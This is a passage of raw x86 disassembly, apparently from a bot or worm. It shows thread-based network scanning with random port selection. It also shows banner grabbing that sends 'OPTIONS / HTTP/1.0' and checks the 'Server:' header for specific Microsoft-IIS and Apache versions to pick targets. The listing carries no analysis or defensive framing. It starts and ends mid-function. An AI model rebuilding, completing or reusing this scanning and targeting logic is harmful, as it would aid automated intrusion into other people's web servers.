		inc	esi
		push	eax
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset unk_4151D8
		push	offset dword_418E50
		call	sub_409659
		add	esp, 18h
		pop	esi
		leave
		retn
sub_40E6A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E707	proc near		; CODE XREF: sub_40ECD6+119p

var_244		= dword	ptr -244h
var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_1A		= dword	ptr -1Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 244h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40E496
		push	3Ah
		lea	eax, [ebp+var_40]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_40B5E1
		mov	edi, 203h
		lea	eax, [ebp+var_244]
		push	edi
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 24h
		and	[ebp+var_4], 0
		mov	ebx, 3E8h
		mov	esi, 200h

loc_40E760:				; CODE XREF: sub_40E707+DFj
		push	ebx
		push	[ebp+arg_4]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E7DF
		lea	eax, [ebp+var_244+3]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	sub_403DB2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E824
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_40E7CE
		jbe	short loc_40E7A4

loc_40E793:				; CODE XREF: sub_40E707+9Bj
		mov	edx, [ebp+ecx+var_244]
		cmp	edx, [ebp+var_1A]
		jz	short loc_40E7EE
		inc	ecx
		cmp	ecx, eax
		jb	short loc_40E793

loc_40E7A4:				; CODE XREF: sub_40E707+8Aj
		lea	eax, [ebp+eax+var_244]
		push	3
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_244+3]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		jmp	short loc_40E7DF
; ---------------------------------------------------------------------------

loc_40E7CE:				; CODE XREF: sub_40E707+88j
		push	edi
		lea	eax, [ebp+var_244]
		push	ecx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch

loc_40E7DF:				; CODE XREF: sub_40E707+66j
					; sub_40E707+C5j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3Ch
		jnz	loc_40E760
		jmp	short loc_40E824
; ---------------------------------------------------------------------------

loc_40E7EE:				; CODE XREF: sub_40E707+96j
		push	[ebp+arg_4]
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E824
		push	offset dword_417D2C
		lea	eax, [ebp+var_40]
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_412210	; shutdown
		push	ebx
		call	dword_4120A4	; Sleep

loc_40E824:				; CODE XREF: sub_40E707+7Ej
					; sub_40E707+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E707	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E829	proc near		; CODE XREF: sub_40ECD6+134p

var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403B44
		add	esp, 0Ch
		mov	esi, eax
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 3Ch
		push	1
		mov	[ebp+var_4], edi
		pop	ebx
		mov	[ebp+var_844], esi
		push	eax
		lea	eax, [ebp+var_848]
		push	edi
		push	eax
		push	edi
		push	edi
		mov	[ebp+var_848], ebx
		call	dword_412214	; select
		cmp	eax, ebx
		push	esi
		jnz	short loc_40E8D0
		call	sub_40E496
		push	esi
		call	sub_40E61A
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40E8CF
		lea	ecx, [ebp+var_44]
		push	ecx
		push	eax
		call	sub_40E64D
		pop	ecx
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		push	esi
		jz	short loc_40E8D0
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E8CF
		push	offset dword_417D30
		lea	eax, [ebp+var_44]
		push	esi
		push	eax
		push	ebx
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	esi
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep

loc_40E8CF:				; CODE XREF: sub_40E829+60j
					; sub_40E829+7Dj
		push	esi

loc_40E8D0:				; CODE XREF: sub_40E829+4Fj
					; sub_40E829+73j
		call	sub_403D92
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E829	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8DB	proc near		; CODE XREF: sub_40ECD6:loc_40EDAAp
		mov	eax, offset dword_419EC4
		retn
sub_40E8DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8E1	proc near		; DATA XREF: sub_40E951+AAo

var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		call	sub_40E496
		push	esi
		call	sub_40E61A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E942
		lea	ecx, [ebp+var_3C]
		push	ecx
		push	eax
		call	sub_40E64D
		pop	ecx
		mov	edi, eax
		pop	ecx
		test	edi, edi
		push	esi
		jz	short loc_40E943
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E942
		push	offset dword_417D34
		lea	eax, [ebp+var_3C]
		push	esi
		push	eax
		push	edi
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	esi
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep

loc_40E942:				; CODE XREF: sub_40E8E1+1Bj
					; sub_40E8E1+38j
		push	esi

loc_40E943:				; CODE XREF: sub_40E8E1+2Ej
		call	sub_403D92
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40E8E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E951	proc near		; DATA XREF: sub_40EA2F+83o

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	edi
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1AC]
		push	1
		push	eax
		call	sub_403644
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40E9A1
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40EA2A
; ---------------------------------------------------------------------------

loc_40E9A1:				; CODE XREF: sub_40E951+3Bj
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_417D38
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_1AC]
		push	eax
		push	offset dword_419EC4
		call	sub_4114B8	; _mbscpy
		add	esp, 18h

loc_40E9D6:				; CODE XREF: sub_40E951+A3j
					; sub_40E951+B8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40EA14
		push	3E8h
		push	edi
		call	sub_403767
		mov	esi, eax
		pop	ecx
		cmp	esi, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40E9D6
		test	esi, esi
		jz	short loc_40EA14
		push	esi
		push	offset sub_40E8E1
		call	sub_406C5D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E9D6
		push	esi
		call	sub_403D92
		pop	ecx
		jmp	short loc_40E9D6
; ---------------------------------------------------------------------------

loc_40EA14:				; CODE XREF: sub_40E951+8Fj
					; sub_40E951+A7j
		push	edi
		call	sub_40392A
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	esi

loc_40EA2A:				; CODE XREF: sub_40E951+4Bj
		pop	edi
		leave
		retn	4
sub_40E951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA2F	proc near		; CODE XREF: sub_407A76+97Ep
					; sub_40EE23+1FBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1ADh
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short locret_40EAC2
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFFFh
		mov	ebx, 401h
		jz	short loc_40EA62
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		jmp	short loc_40EA6A
; ---------------------------------------------------------------------------

loc_40EA62:				; CODE XREF: sub_40EA2F+27j
		push	esi
		push	ebx
		call	sub_40B459
		pop	ecx

loc_40EA6A:				; CODE XREF: sub_40EA2F+31j
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40EA75
		cmp	edi, esi
		jbe	short loc_40EA80

loc_40EA75:				; CODE XREF: sub_40EA2F+40j
		push	esi
		push	ebx
		call	sub_40B459
		pop	ecx
		mov	edi, eax
		pop	ecx

loc_40EA80:				; CODE XREF: sub_40EA2F+44j
		mov	esi, [ebp+var_4]
		push	0Ah
		lea	eax, [esi+4]
		push	eax
		push	edi
		call	sub_41192A	; _itoa
		mov	ebx, [ebp+arg_0]
		lea	eax, [esi+0Ah]
		push	ebx
		push	eax
		call	sub_40457C
		xor	eax, eax
		add	esp, 14h
		cmp	[ebx+18Bh], al
		push	edi
		push	offset dword_417D70
		setz	al
		push	eax
		push	esi
		push	offset sub_40E951
		call	sub_406D58
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx

locret_40EAC2:				; CODE XREF: sub_40EA2F+14j
		leave
		retn
sub_40EA2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAC4	proc near		; CODE XREF: sub_4111E8+C7p
		push	ebx
		xor	ebx, ebx
		cmp	off_417DC6, ebx
		jz	short loc_40EB14
		push	esi
		mov	esi, offset off_417DC6

loc_40EAD5:				; CODE XREF: sub_40EAC4+4Dj
		mov	eax, [esi-8]
		and	eax, 0FFh
		sub	[esi], eax
		and	dword ptr [esi-4], 0

loc_40EAE3:				; CODE XREF: sub_40EAC4+29j
					; sub_40EAC4+3Ej
		call	sub_40B480
		test	eax, eax
		mov	[esi-8], eax
		jz	short loc_40EAE3
		xor	edx, edx
		mov	ecx, offset word_417DBE

loc_40EAF6:				; CODE XREF: sub_40EAC4+44j
		cmp	dword ptr [ecx+8], 0
		jz	short loc_40EB0A
		cmp	ebx, edx
		jz	short loc_40EB04
		cmp	eax, [ecx]
		jz	short loc_40EAE3

loc_40EB04:				; CODE XREF: sub_40EAC4+3Aj
		inc	edx
		add	ecx, 3Ah
		jmp	short loc_40EAF6
; ---------------------------------------------------------------------------

loc_40EB0A:				; CODE XREF: sub_40EAC4+36j
		add	esi, 3Ah
		inc	ebx
		cmp	dword ptr [esi], 0
		jnz	short loc_40EAD5
		pop	esi

loc_40EB14:				; CODE XREF: sub_40EAC4+9j
		pop	ebx
		retn
sub_40EAC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB16	proc near		; CODE XREF: sub_40ECD6+6Ap

var_808		= byte ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 808h
		push	ebx
		push	esi
		push	edi
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_403D9D
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40ECCF
		xor	ebx, ebx
		mov	esi, 800h
		push	ebx
		lea	eax, [ebp+var_808]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_412258	; recv
		cmp	eax, ebx
		jz	loc_40ECCF
		cmp	eax, 0FFFFFFFFh
		jz	loc_40ECCF
		cmp	eax, esi
		jz	loc_40ECCF
		mov	[ebp+eax+var_808], bl
		lea	eax, [ebp+var_808]
		push	offset aServer	; "Server:"
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_411528	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40ECCF
		lea	ecx, [ebp+var_8]
		mov	esi, offset dword_413F54
		push	ecx
		push	esi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40ECCF
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405E4F
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, ebx
		jz	loc_40ECCF
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405E4F
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	edi
		mov	[ebp+arg_0], eax
		call	sub_411930	; _strnicmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40EC58
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	edi
		mov	[ebp+arg_0], ebx
		call	sub_411522	; sscanf
		add	esp, 10h
		push	4
		pop	eax
		cmp	[ebp+var_4], eax
		jnz	short loc_40EC27
		cmp	[ebp+arg_0], ebx
		jnz	loc_40ECCF
		jmp	loc_40ECD1
; ---------------------------------------------------------------------------

loc_40EC27:				; CODE XREF: sub_40EB16+101j
		cmp	[ebp+var_4], 5
		jnz	short loc_40EC44
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40EC36
		push	3
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------

loc_40EC36:				; CODE XREF: sub_40EB16+11Aj
		cmp	[ebp+arg_0], 5
		jnz	loc_40ECCF
		push	2
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------

loc_40EC44:				; CODE XREF: sub_40EB16+115j
		cmp	[ebp+var_4], 6
		jnz	loc_40ECCF
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40ECCF
		push	1

loc_40EC55:				; CODE XREF: sub_40EB16+11Ej
					; sub_40EB16+12Cj
		pop	eax
		jmp	short loc_40ECD1
; ---------------------------------------------------------------------------

loc_40EC58:				; CODE XREF: sub_40EB16+DDj
		cmp	[ebp+arg_0], ebx
		jz	short loc_40ECCF
		push	6
		push	offset aApache	; "Apache"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40ECCF
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], ebx
		push	eax
		push	offset dword_418148
		push	edi
		call	sub_411522	; sscanf
		push	6
		push	offset dword_418140
		push	[ebp+arg_0]
		call	sub_411930	; _strnicmp
		mov	esi, eax
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		inc	esi
		cmp	esi, 1
		jnz	short loc_40ECB7
		push	7
		push	offset dword_418138
		push	[ebp+arg_0]
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40ECCF

loc_40ECB7:				; CODE XREF: sub_40EB16+189j
		cmp	[ebp+var_4], 1
		jz	short loc_40ECC3
		cmp	[ebp+var_4], 2
		jnz	short loc_40ECCF

loc_40ECC3:				; CODE XREF: sub_40EB16+1A5j
		xor	eax, eax
		cmp	esi, ebx
		setnz	al
		add	eax, 5
		jmp	short loc_40ECD1
; ---------------------------------------------------------------------------

loc_40ECCF:				; CODE XREF: sub_40EB16+2Dj
					; sub_40EB16+4Ej ...
		xor	eax, eax

loc_40ECD1:				; CODE XREF: sub_40EB16+10Cj
					; sub_40EB16+140j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECD6	proc near		; DATA XREF: sub_40EE23+3B3o
					; sub_40F461+1C2o

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		lea	eax, [ebp+var_14C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		push	1
		push	[ebp+var_10E]
		call	sub_40344B
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4034DE
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40ED31
		push	[ebp+var_10E]
		call	sub_403D70
		jmp	loc_40EE1C
; ---------------------------------------------------------------------------

loc_40ED31:				; CODE XREF: sub_40ECD6+49j
		cmp	[ebp+var_112], 0
		jz	short loc_40ED52
		push	[ebp+var_10E]
		call	sub_40EB16
		cmp	[ebp+var_112], eax
		pop	ecx
		jnz	loc_40EE11

loc_40ED52:				; CODE XREF: sub_40ECD6+62j
		cmp	[ebp+var_8A], 1
		jnz	short loc_40ED6C
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_403530
		jmp	short loc_40EDB9
; ---------------------------------------------------------------------------

loc_40ED6C:				; CODE XREF: sub_40ECD6+83j
		cmp	[ebp+var_8A], 2
		jnz	short loc_40EDAA
		lea	eax, [ebp+var_6]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		jmp	short loc_40EDCD
; ---------------------------------------------------------------------------

loc_40EDAA:				; CODE XREF: sub_40ECD6+9Dj
		call	sub_40E8DB
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_4114B8	; _mbscpy

loc_40EDB9:				; CODE XREF: sub_40ECD6+94j
		lea	eax, [ebp+var_86]
		push	offset dword_41A2E8
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h

loc_40EDCD:				; CODE XREF: sub_40ECD6+D2j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_40EDF6
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_40E707
		jmp	short loc_40EE0F
; ---------------------------------------------------------------------------

loc_40EDF6:				; CODE XREF: sub_40ECD6+10Bj
		cmp	[ebp+var_8A], 2
		jnz	short loc_40EE11
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_40E829

loc_40EE0F:				; CODE XREF: sub_40ECD6+11Ej
		pop	ecx
		pop	ecx

loc_40EE11:				; CODE XREF: sub_40ECD6+76j
					; sub_40ECD6+127j
		push	[ebp+var_10E]
		call	sub_403D92

loc_40EE1C:				; CODE XREF: sub_40ECD6+56j
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40ECD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE23	proc near		; DATA XREF: sub_40F2C2+18Do

var_758		= qword	ptr -758h
var_740		= byte ptr -740h
var_640		= byte ptr -640h
var_63F		= byte ptr -63Fh
var_540		= byte ptr -540h
var_53F		= byte ptr -53Fh
var_440		= dword	ptr -440h
var_43C		= byte ptr -43Ch
var_429		= byte ptr -429h
var_37E		= dword	ptr -37Eh
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_1E8		= byte ptr -1E8h
var_1DA		= dword	ptr -1DAh
var_1D6		= dword	ptr -1D6h
var_1D2		= dword	ptr -1D2h
var_1CE		= byte ptr -1CEh
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_43		= byte ptr -43h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_28		= byte ptr -28h
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 740h
		push	esi
		push	edi
		push	2C9h
		lea	eax, [ebp+var_2F4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4059F0
		add	esp, 14h
		test	al, al
		jz	short loc_40EE78
		push	14Ch
		lea	eax, [ebp+var_440]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		jmp	loc_40EF02
; ---------------------------------------------------------------------------

loc_40EE78:				; CODE XREF: sub_40EE23+38j
		xor	esi, esi
		mov	edi, offset dword_417D98

loc_40EE7F:				; CODE XREF: sub_40EE23+8Aj
		lea	eax, [ebp+var_28]
		push	edi
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40EEAF
		inc	esi
		add	edi, 3Ah
		jmp	short loc_40EE7F
; ---------------------------------------------------------------------------

loc_40EEAF:				; CODE XREF: sub_40EE23+84j
		imul	esi, 3Ah
		push	3Ah
		lea	eax, [ebp+var_43C]
		lea	esi, dword_417D98[esi]
		push	esi
		push	eax
		mov	[ebp+var_440], esi
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_429]
		push	eax
		call	sub_40B5E1
		and	[ebp+var_37E], 0
		lea	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 1Ch

loc_40EF02:				; CODE XREF: sub_40EE23+50j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_405D8C
		test	eax, eax
		pop	ecx
		jz	short loc_40EF79
		mov	dl, byte_4191D0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53F]
		mov	[ebp+var_540], dl
		rep stosd
		stosw
		stosb
		push	3Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_63F]
		mov	[ebp+var_640], dl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_405C9C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EF79
		push	[ebp+var_1D2]
		call	sub_40396E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40EF8C

loc_40EF79:				; CODE XREF: sub_40EE23+EEj
					; sub_40EE23+141j
		push	[ebp+var_2F4]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40F2BC
; ---------------------------------------------------------------------------

loc_40EF8C:				; CODE XREF: sub_40EE23+154j
		mov	eax, [ebp+var_440]
		push	ebx
		test	eax, eax
		jz	loc_40F02E
		test	byte ptr [eax+32h], 1
		jz	loc_40F02E
		call	sub_403338
		mov	ecx, eax
		push	2
		neg	ecx
		sbb	ecx, ecx
		pop	edx
		add	ecx, 3
		cmp	[ebp+var_37], 0
		mov	[ebp+var_37E], ecx
		jz	short loc_40EFD6
		mov	esi, [ebp+var_440]
		test	[esi+32h], dl
		jnz	short loc_40EFD6
		push	1
		pop	ecx
		mov	[ebp+var_37E], ecx

loc_40EFD6:				; CODE XREF: sub_40EE23+19Dj
					; sub_40EE23+1A8j
		cmp	[ebp+var_47], 0
		jz	short loc_40EFE4
		mov	ecx, edx
		mov	[ebp+var_37E], ecx

loc_40EFE4:				; CODE XREF: sub_40EE23+1B7j
		cmp	[ebp+var_46], 0
		jz	short loc_40EFF3
		push	3
		pop	ecx
		mov	[ebp+var_37E], ecx

loc_40EFF3:				; CODE XREF: sub_40EE23+1C5j
		cmp	ecx, 3
		jnz	short loc_40F02E
		test	eax, eax
		jz	short loc_40F004
		mov	[ebp+var_37E], edx
		jmp	short loc_40F02E
; ---------------------------------------------------------------------------

loc_40F004:				; CODE XREF: sub_40EE23+1D7j
		mov	al, [ebp+var_43]
		mov	bl, [ebp+var_36]
		and	[ebp+var_43], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_1CE]
		push	0
		push	eax
		mov	[ebp+var_36], 1
		call	sub_40EA2F
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_36], bl
		mov	[ebp+var_43], al

loc_40F02E:				; CODE XREF: sub_40EE23+172j
					; sub_40EE23+17Cj ...
		mov	esi, offset dword_419678
		push	esi
		call	sub_407200
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		add	eax, 14h
		push	offset dword_418230
		push	eax
		call	sub_4114DC	; sprintf
		push	esi
		call	sub_40720B
		add	esp, 18h
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CE]
		push	offset dword_4181F8
		push	eax
		call	sub_4096CB
		xor	ebx, ebx
		add	esp, 18h
		cmp	[ebp+var_440], ebx
		mov	esi, 3E8h
		jnz	short loc_40F0B1
		push	esi
		call	dword_4120A4	; Sleep

loc_40F0B1:				; CODE XREF: sub_40EE23+285j
		mov	[ebp+var_8], ebx
		call	sub_4114E2	; clock
		mov	[ebp+var_C], eax
		mov	[ebp+arg_0], ebx

loc_40F0BF:				; CODE XREF: sub_40EE23+30Fj
					; sub_40EE23+34Cj ...
		mov	eax, [ebp+var_2F4]
		cmp	[eax+4], ebx
		jnz	loc_40F265
		mov	edi, [ebp+arg_0]
		sub	edi, [ebp+var_C]
		call	sub_4114E2	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	loc_40F265
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_405C9C
		lea	eax, [ebp+var_540]
		push	offset dword_41A2E8
		push	eax
		call	sub_41177E	; strcmp
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_40F0BF
		push	[ebp+var_4]
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_403B44
		add	esp, 0Ch
		push	eax
		call	sub_403996
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F175
		call	sub_4114E2	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	loc_40F0BF

loc_40F175:				; CODE XREF: sub_40EE23+335j
		push	[ebp+var_1D6]
		call	dword_4120A4	; Sleep
		push	[ebp+var_4]
		call	sub_403A1B
		test	eax, eax
		pop	ecx
		jz	loc_40F255

loc_40F192:				; CODE XREF: sub_40EE23+39Fj
					; sub_40EE23+3DAj ...
		push	[ebp+var_4]
		call	sub_403AB5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_40F255
		inc	[ebp+var_8]
		cmp	[ebp+var_440], 0
		jz	short loc_40F1FF
		mov	edi, 14Ch
		push	edi
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	dword ptr [ebp+var_14+4], eax
		jz	short loc_40F192
		lea	ecx, [ebp+var_440]
		push	edi
		push	ecx
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, dword ptr [ebp+var_14+4]
		push	edi
		push	offset sub_40ECD6
		mov	[edi+3Eh], ebx
		call	sub_406C5D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F1F2
		push	edi
		call	sub_4114CA	; free
		jmp	short loc_40F1FC
; ---------------------------------------------------------------------------

loc_40F1F2:				; CODE XREF: sub_40EE23+3C5j
		push	[ebp+var_4]
		push	ebx
		call	sub_4039C6
		pop	ecx

loc_40F1FC:				; CODE XREF: sub_40EE23+3CDj
		pop	ecx
		jmp	short loc_40F192
; ---------------------------------------------------------------------------

loc_40F1FF:				; CODE XREF: sub_40EE23+38Cj
		mov	eax, [ebp+var_2F4]
